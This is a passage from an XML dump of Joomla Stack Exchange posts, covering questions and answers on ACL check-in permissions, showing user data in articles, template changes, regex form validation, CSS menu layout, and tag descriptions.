examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTable::getInstance('K2Item', 'Table');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$tableClass will become &quot;TableK2Item&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTable::getInstance('C#!ont&amp;amp;ent');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$tableClass will become JTableContent, because of the bad character removal and $prefix is &quot;JTable&quot; by default.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-20T02:33:22.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostTypeId="1" AcceptedAnswerId="12243" CreationDate="2015-08-20T12:43:12.617" Score="4" ViewCount="566" Body="&lt;p&gt;I've created a custom user group for some Joomla 3.x websites which allow certain users particular administrative privileges, but only to the functionality they require (I trust my users', but I prefer fewer opportunities for exploits or accidental breakage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One permission I need to grant them, is the ability to &lt;strong&gt;check-in&lt;/strong&gt; articles that other users haven't correctly closed (where the padlock appears beside an article, preventing multiple users from editing the same item simultaneously). Currently, though, only Super Users are able to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I give a custom user-group this click-on-the-padlock-to-kick-them-out functionality without granting them entire Super User privileges?&lt;/p&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="126" LastEditDate="2015-08-20T13:30:07.780" LastActivityDate="2015-08-20T13:59:11.900" Title="How can I grant a non-Super User group permission to force check-in of articles?" Tags="|joomla-3.x|acl|administration|configuration|check-in|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="2" ParentId="12242" CreationDate="2015-08-20T13:07:36.580" Score="6" Body="&lt;p&gt;Assuming you have the latest Joomla version, if you are using the default usergroups available in Joomla, then the &lt;strong&gt;administrators&lt;/strong&gt; usergroup should have access to the &quot;&lt;strong&gt;Check-In&lt;/strong&gt;&quot; component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The managers do not have access permissions by default. &#xA;All you need to do, is to login as Super User, go to the Check-in component, click on Options and adjust the permissions settings for the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to set the &quot;&lt;strong&gt;Access Administration Interface&lt;/strong&gt;&quot; for the &quot;&lt;strong&gt;Managers&lt;/strong&gt;&quot; group to &quot;&lt;strong&gt;Allowed&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for the current J3.4.3, the Check-In ACL settings require the Configure ACL &amp;amp; Options set to allowed, in order to fully unlock the check-in functionality for other User-Groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies for any custom user-groups you might have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eqGTK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqGTK.png&quot; alt=&quot;Global Configuration Screen for Check-in Component&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;&#xA;In older Joomla versions, there was a bug with the ACL for the check-in component, therefore a small hack was required to unlock it and assign permissions to other users than the Super User. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If by any chance it happens and you are in old Joomla versions where the bug existed, then you should update/upgrade your Joomla site the soonest possible, not only to have the bug fixed, but because apparently you run on outdated software.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-20T13:59:11.900" LastActivityDate="2015-08-20T13:59:11.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12244" PostTypeId="1" AcceptedAnswerId="12280" CreationDate="2015-08-20T17:19:49.877" Score="1" ViewCount="213" Body="&lt;p&gt;I have several items in a category. I'd like to assign  to some of them another template instead of the one inherited from the category template view. I know I could create a new category with new template, but as you could guess I need all the items in the same category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to assign a new template only to specific items in a k2 category?&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2015-08-22T19:38:31.610" Title="Assign a subtemplate to specific items in K2" Tags="|templates|articles|k2|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostTypeId="1" CreationDate="2015-08-20T19:58:52.670" Score="3" ViewCount="3886" Body="&lt;p&gt;When using the TinyMCE editor, how can I display the username at the top of an article?&lt;/p&gt;&#xA;" OwnerUserId="5763" LastEditorUserId="126" LastEditDate="2015-08-20T20:33:38.080" LastActivityDate="2021-02-01T22:05:12.847" Title="How to display user profile fields on an article?" Tags="|joomla-3.x|extensions|user|com-content|editor|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="2" ParentId="12246" CreationDate="2015-08-20T20:21:28.810" Score="4" Body="&lt;p&gt;You can't display dynamic data this way through an article by default, as the editors won't process php.&lt;/p&gt;&#xA;&lt;p&gt;However, to your rescue, there are plugins for this.&lt;/p&gt;&#xA;&lt;p&gt;You can install &lt;strong&gt;&lt;a href=&quot;https://regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Lab's Sourcerer Plugin&lt;/a&gt;&lt;/strong&gt;, and now you can write php, or other code directly in your articles.&lt;/p&gt;&#xA;&lt;p&gt;It even supports some of the most common Joomla variables and Objects, which are ready to use. JUser is one of these, so all you need to display user data is a code inside your article like below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php echo $user-&amp;gt;username; ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For more info about User Profile see: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/899/how-to-display-user-profile-information&quot;&gt;How to display user profile information?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The other way to display dynamic date in your article is to modify the article's template with an override and put all your php code in there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Template/Layout Overrides Links&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="12352" LastEditDate="2021-02-01T22:04:37.413" LastActivityDate="2021-02-01T22:04:37.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12249" PostTypeId="1" AcceptedAnswerId="12250" CreationDate="2015-08-21T01:41:23.400" Score="2" ViewCount="229" Body="&lt;p&gt;I'm using yootheme's solar on my website and I want to change it for the stage theme, I want to make my site to look just like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/demo/joomla/stage&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/demo/joomla/stage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it's impossible since the demo package can only be installed on a brand new joomla site and mine has a lot of information which make it impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running out of ideas, I've tried to replace some layouts files in the installation package [and then creating a .zip], or copying the CSS styles to my custom CSS but nothing seems to work.&lt;/p&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2015-11-19T05:37:09.047" Title="Use yootheme layouts on an already running joomla site" Tags="|templates|css|template-override|layout|style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12250" PostTypeId="2" ParentId="12249" CreationDate="2015-08-21T04:13:29.700" Score="1" Body="&lt;p&gt;Unfortunately, there is no simple way to get your Joomla site look exactly like the demo. Template demos are just that: a demonstration of how the template &lt;em&gt;can&lt;/em&gt; look, and a showcase of all the available visual effects. Custom content, modules, code and CSS is often included in the live template demo, but not in the template download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, it's usually a lot easier to change to another template from the same template provider, because the module positions are the same, as well as most of the CSS framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some advice and ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you work on a copy of your website, not the live site (obviously).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Based on how much custom content you have, decide whether you prefer to start with the demo package and copy your content to the new site, or modify your existing site with the new content. In your case the latter sounds like a better choice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the template on your site, and set it as default. Your site will probably look weird at first, but don't worry about it yet. Use your original live site to see how it was before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the demo package to a separate folder. You can use this as a reference to see how a particular part of the demo is set up. Then replicate this on your own site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the online documentation. I'm not familiar with YooTheme, but most template providers include detailed instructions (and code examples) to show you how to replicate the demo. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't aim at having your website look &lt;em&gt;exactly&lt;/em&gt; like the demo. Adjust the &lt;em&gt;layout to fit your site and content&lt;/em&gt;, not the other way around.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place your modules in the right positions first (maybe you don't need to move them at all, if module positions are the same). Then make adjustments in your &lt;em&gt;custom.css&lt;/em&gt; file if needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember that &lt;a href=&quot;https://docs.joomla.org/Module_Class_Suffix&quot; rel=&quot;nofollow&quot;&gt;Module suffixes&lt;/a&gt; often are required in order to replicate the demo.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask the support team if you're stuck on how to replicate a certain part of the site. They should know their template in and out, and help you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a little. But keep in mind that changing template is a time consuming process, especially if your site is content heavy.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-08-21T04:13:29.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostTypeId="2" ParentId="12246" CreationDate="2015-08-21T08:12:57.447" Score="1" Body="&lt;p&gt;If you want to see the author on your website you have to change the settings of the article.&#xA;System &gt; Global Configuration &gt; Articles &#xA;and go to tab: &quot;Articles&quot; and look for &quot;Show Author&quot; and activate it.&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2015-08-21T08:12:57.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12252" PostTypeId="1" CreationDate="2015-08-21T10:22:17.593" Score="2" ViewCount="545" Body="&lt;p&gt;I am searching for an event that is triggered after saved a specific Module, for a Plugin. Like the onContentAfterSave Event for the Content Group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such an Event, or how can I trigger such an event after save?&lt;/p&gt;&#xA;" OwnerUserId="5769" LastEditorUserId="5638" LastEditDate="2016-09-10T05:49:19.397" LastActivityDate="2016-09-10T05:49:19.397" Title="Joomla 3 Module Save Event" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="1" CreationDate="2015-08-21T10:49:20.947" Score="2" ViewCount="506" Body="&lt;p&gt;I need to justify the navigation menu bar in the &lt;a href=&quot;https://www.cloudaccess.net/cloudbase-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloudbase 3 template&lt;/a&gt;, so it spans the whole article width. Currently the menu is floating to the right and it ends somewhere in the middle of the article (depending on how many menu items are in there), it needs to be same width as the white space of the article bellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lIiXB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lIiXB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Joomla so these things are also new for me, with is why I dont exactly know how to deal with it.&lt;/p&gt;&#xA;" OwnerUserId="5770" LastEditorUserId="1629" LastEditDate="2015-08-21T14:35:29.277" LastActivityDate="2015-08-21T15:24:40.007" Title="Cloudbase 3, template, justify navigation menu" Tags="|joomla-3.x|templates|css|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostTypeId="1" AcceptedAnswerId="12255" CreationDate="2015-08-21T10:51:52.027" Score="2" ViewCount="763" Body="&lt;p&gt;How can I add user-specific files and content for each user as side-administrator?&lt;br&gt;&#xA;And how can I be sure that only the user I've added the content for can see it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User A --&gt; A_invoice_07/15.pdf and A_invoice_08/15.pdf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User B --&gt; B_invoice_07/15.pdf and B_invoice_08/15.pdf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So User A should only see his invoices and the same with User B.&lt;/p&gt;&#xA;" OwnerUserId="5771" LastEditorUserId="126" LastEditDate="2015-08-21T11:21:22.493" LastActivityDate="2015-09-01T11:33:59.940" Title="How to add and show user specific content and files?" Tags="|joomla-3.x|extensions|joomla-user-groups|features|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12255" PostTypeId="2" ParentId="12254" CreationDate="2015-08-21T10:59:53.687" Score="1" Body="&lt;p&gt;You need special extensions that provide specific functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see you mention invoices, are you building an e-shop? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most e-commerce extensions provide this kind of functionality by default, so each user has access to his personal profile data... e.g. address, orders, invoices etc.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Solutions exist, but your requirements are too broad. Most likely some extensions will do what you want. Which extensions is subject of&#xA;  what you are building. Please be more specific about your project&#xA;  requirements.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Always the answer to questions like this, is to check at &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JED&lt;/strong&gt;&lt;/a&gt; for the extension with the features required.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Relative JED categories:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/tags/file-management&quot; rel=&quot;nofollow&quot;&gt;File Management Extensions&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/tags/downloads&quot; rel=&quot;nofollow&quot;&gt;Downloads Extensions&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.google.gr/search?client=safari&amp;amp;rls=en&amp;amp;q=joomla+user+personal+files+extension&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;gfe_rd=cr&amp;amp;ei=cQfXVaPvI8fD8gfVrIqADw&quot; rel=&quot;nofollow&quot;&gt;Google Search: Joomla User personal files extension&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/extranet&quot; rel=&quot;nofollow&quot;&gt;Extranet Extension&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T11:25:16.147" LastActivityDate="2015-08-21T11:25:16.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12256" PostTypeId="2" ParentId="12254" CreationDate="2015-08-21T12:39:31.863" Score="0" Body="&lt;p&gt;If you are selecting content manually, you could add one group in register permission on each user. &#xA;After this you can set the content to specific user Group. &#xA;With this config you won't need any specific extension. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-09-01T11:33:59.940" LastActivityDate="2015-09-01T11:33:59.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="1" AcceptedAnswerId="12259" CreationDate="2015-08-21T12:49:58.957" Score="6" ViewCount="1455" Body="&lt;p&gt;Is there a way to simply validate a form field with a regular expression?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;firstname&quot; type=&quot;text&quot; label=&quot;Firstname&quot;&#xA;       validate=&quot;regex&quot; regex=&quot;.*&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="126" LastEditDate="2015-08-21T13:55:05.990" LastActivityDate="2015-08-21T13:55:05.990" Title="How to use a regex to validate a FormField?" Tags="|form-fields-types|regex|validation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="2" ParentId="12257" CreationDate="2015-08-21T13:08:27.457" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot; rel=&quot;nofollow&quot;&gt;Client Side Validation&lt;/a&gt; for this, however You will need to make a &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Custom Form Field&lt;/a&gt; for this to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using Joomla 3.4, you first need to initialise the validation script, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.formvalidator');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for your field, you need to add the class &lt;code&gt;validate-changeme&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;firstname&quot; type=&quot;text&quot; label=&quot;Firstname&quot; class=&quot;validate-changeme&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your custom form field script, you can add your regex for the validation like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration(&quot;&#xA;    jQuery(document).ready(function(){&#xA;       document.formvalidator.setHandler('changeme', function(value) {&#xA;          regex=/^\d{4}-\d{2}-\d{2}$/;&#xA;          return regex.test(value);&#xA;       });&#xA;    });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to replace &lt;code&gt;changeme&lt;/code&gt; with what ever suits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-21T13:08:27.457" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostTypeId="2" ParentId="12257" CreationDate="2015-08-21T13:41:24.850" Score="3" Body="&lt;p&gt;If there is no native answer I have a solution to do this with an own JFormRule class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a file in your component/models/form/rules directory called regex.php&#xA;Insert the source below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class componentnameFormRuleRegex extends JFormRule {&#xA;&#xA;    public function test(&amp;amp;$element, $value, $group = null, &amp;amp;$input = null, &amp;amp;$form = null)   {&#xA;&#xA;        $this-&amp;gt;regex = (string)$element['regex'];&#xA;&#xA;        return parent::test($element, $value, $group, $input, $form);&#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the path to your rules directory to the &lt;code&gt;addRulePath&lt;/code&gt; attribute in the xml file and add &lt;code&gt;validate=&quot;componentname.regex&quot;&lt;/code&gt; and &lt;code&gt;regex=&quot;$regularexpression$&quot;&lt;/code&gt; to the field you want to validate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class adds the value of the &lt;code&gt;regex&lt;/code&gt; attribute to the &lt;code&gt;JFormRule&lt;/code&gt; and uses the native test function for validation.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-08-21T13:41:24.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12260" PostTypeId="5" CreationDate="2015-08-21T14:21:26.487" Score="0" Body="&lt;p&gt;The style attribute is available for the module and modules types of &lt;code&gt;&amp;lt;jdoc:include /&amp;gt;&lt;/code&gt; statements. The attribute value refers to the chrome style used to wrap the output generated by the Module. If no style is provided, a value of &quot;none&quot; is used by default.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:21:26.487" LastActivityDate="2015-08-21T14:21:26.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostTypeId="4" CreationDate="2015-08-21T14:21:26.487" Score="0" Body="Questions about creating custom template chrome (styles) for modules." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:21:26.487" LastActivityDate="2015-08-21T14:21:26.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="5" CreationDate="2015-08-21T14:22:12.510" Score="0" Body="&lt;p&gt;The Module Manager is where you add and edit Joomla! Modules. In Joomla!, Modules are used to display content and/or media around the main content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:22:12.510" LastActivityDate="2015-08-21T14:22:12.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12263" PostTypeId="4" CreationDate="2015-08-21T14:22:12.510" Score="0" Body="For question about the Module Manager, the admin component to manage the modules of the website." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:22:12.510" LastActivityDate="2015-08-21T14:22:12.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12264" PostTypeId="5" CreationDate="2015-08-21T14:26:09.700" Score="0" Body="&lt;h1&gt;Module Display&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A Tag to be used for questions about the rendering / output / positioning of the modules.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T16:04:50.643" LastActivityDate="2015-08-21T16:04:50.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="4" CreationDate="2015-08-21T14:26:09.700" Score="0" Body="General Tag for questions about the rendering / output / positioning of the modules." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:26:09.700" LastActivityDate="2015-08-21T14:26:09.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostTypeId="5" CreationDate="2015-08-21T14:32:22.567" Score="0" Body="&lt;p&gt;&lt;strong&gt;Custom Module&lt;/strong&gt; is a somewhat vague tag. It may refer to the development of a custom module, or to the Joomla's core custom html - a module that allows the user to present information through writing html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, the tag has been used for both types of questions, and generally it seems to be an okay fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developing modules in Joomla is relative easy. For Module Development users may also consult: &lt;strong&gt;&lt;a href=&quot;http://joomla.stackexchange.com/questions/655/how-do-you-make-a-new-module&quot;&gt;How do you make a new module?&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:37:34.887" LastActivityDate="2015-08-21T14:37:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12267" PostTypeId="4" CreationDate="2015-08-21T14:32:22.567" Score="0" Body="Ok, this tag has been used for questions related to developing custom modules, but also for question about the Joomla Custom html module." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:32:22.567" LastActivityDate="2015-08-21T14:32:22.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="5" CreationDate="2015-08-21T14:38:59.500" Score="0" Body="" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:38:59.500" LastActivityDate="2015-08-21T14:38:59.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="4" CreationDate="2015-08-21T14:38:59.500" Score="0" Body="For questions related to the parameters section of the modules. Parameters are options inside the modules, to manage the module behavior and appearance." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:38:59.500" LastActivityDate="2015-08-21T14:38:59.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12270" PostTypeId="5" CreationDate="2015-08-21T14:48:11.627" Score="0" Body="&lt;p&gt;A regular expression (regex or regexp for short) is a special text string for describing a search pattern. You can think of regular expressions as wildcards on steroids. You are probably familiar with wildcard notations such as &lt;code&gt;*.txt&lt;/code&gt; to find all text files in a file manager. The regex equivalent is &lt;code&gt;.*\.txt$.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regular expressions are so useful in computing that the various systems to specify regular expressions have evolved to provide both a basic and extended standard for the grammar and syntax; modern regular expressions heavily augment the standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many programming languages provide regular expression capabilities, some built-in, and others via a standard library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources:&lt;/strong&gt;&lt;br&gt;&#xA;  - &lt;a href=&quot;http://www.regular-expressions.info&quot; rel=&quot;nofollow&quot;&gt;http://www.regular-expressions.info&lt;/a&gt;&lt;br&gt;&#xA;  - &lt;a href=&quot;https://en.wikipedia.org/wiki/Regular_expression&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Regular_expression&lt;/a&gt;&lt;br&gt;&#xA;  - &lt;a href=&quot;http://php.net/manual/en/book.pcre.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/book.pcre.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:56:48.640" LastActivityDate="2015-08-21T14:56:48.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="4" CreationDate="2015-08-21T14:48:11.627" Score="0" Body="For questions about using regular expression (regex or regexp) in Joomla development. Regex is a sequence of characters that define a search pattern for use in pattern matching with strings, like &quot;find and replace&quot; operations." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-21T14:48:11.627" LastActivityDate="2015-08-21T14:48:11.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostTypeId="2" ParentId="12253" CreationDate="2015-08-21T15:24:40.007" Score="1" Body="&lt;p&gt;You can justify the menu by using &lt;strong&gt;Flexboxes&lt;/strong&gt;. This is a CSS3 property, and browser support is still not excellent, but most modern browsers will handle it well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following CSS code to your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gf-menu {&#xA;    display: flex;&#xA;    justify-content: space-around;&#xA;}&#xA;.gf-menu li {&#xA;    width: 100%; /* Remove white space between menu items */&#xA;}&#xA;/* Center text inside each menu item */&#xA;.gf-menu .item {&#xA;    text-align: center!important;&#xA;    padding: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should give you something to start with, you might have to adjust the CSS a little to get it to look like you want it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Answer based on &lt;a href=&quot;https://stackoverflow.com/questions/49536/how-do-i-really-justify-a-horizontal-menu-in-htmlcss&quot;&gt;this question&lt;/a&gt; from SE)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you would like to &lt;em&gt;center&lt;/em&gt; the menu instead of justifying it, try with this CSS code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.gf-menu.l1 {&#xA;    text-align: center;&#xA;}&#xA;.gf-menu li {&#xA;    display: inline-block;&#xA;    float: initial;&#xA;    *display:inline; /*IE7*/&#xA;    *zoom:1; /*IE7*/&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" 